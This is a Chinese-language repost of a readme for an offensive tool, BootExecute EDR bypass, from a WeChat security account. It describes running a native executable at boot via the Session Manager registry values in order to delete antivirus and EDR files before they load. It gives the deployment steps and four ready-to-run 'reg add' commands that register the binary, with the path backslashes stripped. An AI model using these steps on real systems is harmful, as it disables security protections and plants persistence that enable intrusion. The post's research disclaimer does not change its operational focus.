Boot Execute 允许本机应用程序（具有 NtProcessStartup 入口点且仅依赖于 ntdll.dll 的可执行文件）在 Windows 操作系统完全初始化之前运行。这甚至发生在 Windows 服务启动之前。从历史上看，攻击者利用此机制作为一种基本的持久性方法。但是，使用此功能需要管理权限，既要修改相应的注册表项，又要将可执行文件放在 %SystemRoot%System32 目录中。
由于这些本机应用程序在安全机制完全运行之前执行，因此，当我们以 SYSTEM 权限运行时，通过删除关键应用程序文件，就有可能破坏防病毒 (AV) 和端点检测和响应 (EDR) 系统。
项目中包含的代码是一个利用此“功能”的示例，在端点安全产品有机会阻止我们之前禁用它们。
用法
-
编译二进制文件
-
将 BEB.exe 放在 C:WindowsSystem32 中
-
添加以下任一注册表项，以便在 win32k 子系统初始化之前启动二进制文件
reg add "HKLMSYSTEMCurrentControlSetControlSession Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk * BEB" /freg add "HKLMSYSTEMCurrentControlSetControlSession Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /freg add "HKLMSYSTEMCurrentControlSetControlSession Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /freg add "HKLMSYSTEMCurrentControlSetControlSession Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f感谢您抽出
.
.
来阅读本文
点它，分享点赞在看都在这里
原文始发于微信公众号（Ots安全）：BootExecute EDR 绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论